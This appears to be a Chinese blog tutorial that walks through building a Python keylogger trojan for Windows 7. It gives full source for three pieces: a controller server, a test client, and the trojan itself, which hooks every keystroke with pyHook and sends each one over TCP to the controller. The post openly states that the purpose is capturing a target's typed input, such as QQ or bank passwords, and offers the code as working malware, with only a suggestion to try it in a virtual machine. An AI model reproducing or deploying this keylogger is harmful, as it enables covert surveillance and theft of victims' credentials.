Python木马程序键盘监控

键盘记录木马:记录win7中键盘按下信息,数据传送给控制端,可以看到对方输入的信息。例如QQ密码或银行密码。

此程序对环境需求较严格,只建议自己在虚拟机里简单玩玩。

一、环境需求安装

控制端:

1、windows系统或linux系统如:ubuntu、kali
2、能够运行python

被控端:

被控端建议在虚拟机里,我这里是在虚拟机中一个全新的win7系统配置下面的环境。用到的python和exe版的库文件在我资源里可以免费下载。

1、虚拟机中windows7系统
2、python2.7
3、win7exe版python库文件:pyHook-1.5.1.win32-py2.7
4、win7exe版python库文件:pywin32-221.win32-py2.7

被控端环境安装:

1、虚拟机全新win7系统

 2、python2.7安装。双击安装文件,一直下一步就行了,注意下安装路径等下要添加到系统变量中。

 

 

 3、找到刚刚的安装路径复制,根据下面一步步将它添加到系统变量。

打开cmd输入python,出现版本号说明成功安装。

 4、pywin32安装。直接双击安装文件一直下一步就行了。

5、pyHook 安装。直接双击安装文件一直下一步就行了。

 6、打开cmd输入python,尝试导入两个库,不报错说明安装成功。

二、程序及运行测试

控制端代码:

# 数据解析库
import pickle
# io流
from io import BytesIO
# 通讯模型
from socket import *


# 服务端函数代码
def Server_PIC(ip, port):
    # socket套接字 负责连接被控机木马
    # AF_INET:ipv4协议
    # SOCK_STREAM:TCP通讯模型
    socket_obj = socket(AF_INET, SOCK_STREAM)
    # 绑定本机信息
    socket_obj.bind((ip, port))
    # 设置服务端的最大连接数量,一般配置为5,可以被5个木马程序连接
    socket_obj.listen(5)
    # 声明一个变量后面用来判断是否捕获到文件类型数据
    file_no = 1

    # 等待木马程序连接
    while True:
        # 接收TCP连接
        # conn为新的套接字对象,可以用来接收和发送数据
        connection, address = socket_obj.accept()
        # 打印连接被控端的IP地址
        print('被控机IP:', address)
        # 预先定义接收信息变量
        received_message = b''
        # 读取接收到的信息
        received_message_fragment = connection.recv(1024)
        while received_message_fragment:
            received_message += received_message_fragment
            received_message_fragment = connection.recv(1024)
        try:
            # 对接收到的字节编码
            obj = pickle.loads(received_message)
            print(obj)
        except EOFError:
            # 如果出现EOFError ,表示收到的是图片 写入图片到硬盘
            file_name = 'recv_image_' + str(file_no) + '.bmp'
            recv_image = open(file_name, 'wb')
            recv_image.write(received_message)
            file_no += 1
        connection.close()


if __name__ == "__main__":
    # 允许任何一台计算机连接
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_PIC(Server_IP, Server_Port)

1、控制端开启监听

2、 在本机上运行测试代码,看看能不能成功接收到信息。代码里面的IP地址需要修改一下。

 代码:

import pickle
from io import BytesIO
from socket import *


def Client_PIC(ip, port, obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except TypeError:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket(AF_INET, SOCK_STREAM)
    # 连接
    socket_obj.connect((ip, port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)
    socket_obj.close()


if __name__ == "__main__":
    # 测试
    dict = {'key1': 'welcome to WORD', 'key2': [1, 2, 3, 4, 5]}
    # ip地址修改为你自己本机的 即服务控制端的IP
    Client_PIC('192.168.87.1', 6666, dict)

 代码成功运行后可以看到服务控制端收到了信息。

三、端口占用报错处理 

1、windows上服务控制端运行后不小心关闭了,再次运行会出现下面报错:

解决方法:

端口已经被占用了,只需要将端口占用的进程关闭就行了。

在本机上打开cmd或者pycharm的终端里使用下面命令:

netstat -aon|findstr "6666"        6666是我们代码里使用端口

taskkill -f /pid 端口进程ID        关闭进程

2、ubuntu上端口占用报错

 解决方法:

ps -a

kill -9 进程ID

 

 

 四、木马上线

注意:程序放到其它系统之前最好把代码里的中文注释去掉,不然会报错。

木马程序:

import pythoncom, pyHook
import pickle
from io import BytesIO
from socket import *


def Client_PIC(ip, port, obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except TypeError:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket(AF_INET, SOCK_STREAM)
    socket_obj.connect((ip, port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)
    socket_obj.close()


def OnKeyboardEvent(event):
    dict_key = {}
    dict_key['MessageName:'] = event.MessageName
    dict_key['Window:'] = event.Window
    dict_key['Ascii:'] = (event.Ascii, chr(event.Ascii))
    dict_key['Key'] = event.Key
    dict_key['KeyID'] = event.KeyID
    dict_key['ScanCode:'] = event.ScanCode
    dict_key['Alt'] = event.Alt

    Client_PIC('192.168.87.1', 6666, dict_key)
    return True


def Keylogger():
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()


if __name__ == '__main__':
    Keylogger()

将木马程序放到虚拟机win7中。控制端开启监听,运行木马后,在win7按下的按键信息,控制端这边可以接收到。

控制端监听:

win7运行木马程序

 此时,win7上的键盘操作就被监控了,我这里在win7中分别按下asdf1234和alt ctrl,控制机这边可以收到同样信息。我这里被控端IP好像没输出正确,我也不知道为什么。

 控制端同样也可以在其它系统运行监控。

到这里木马程序基本就完成了,对环境要求较麻烦,比较鸡肋,自己随便搞搞玩吧,就当学习了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值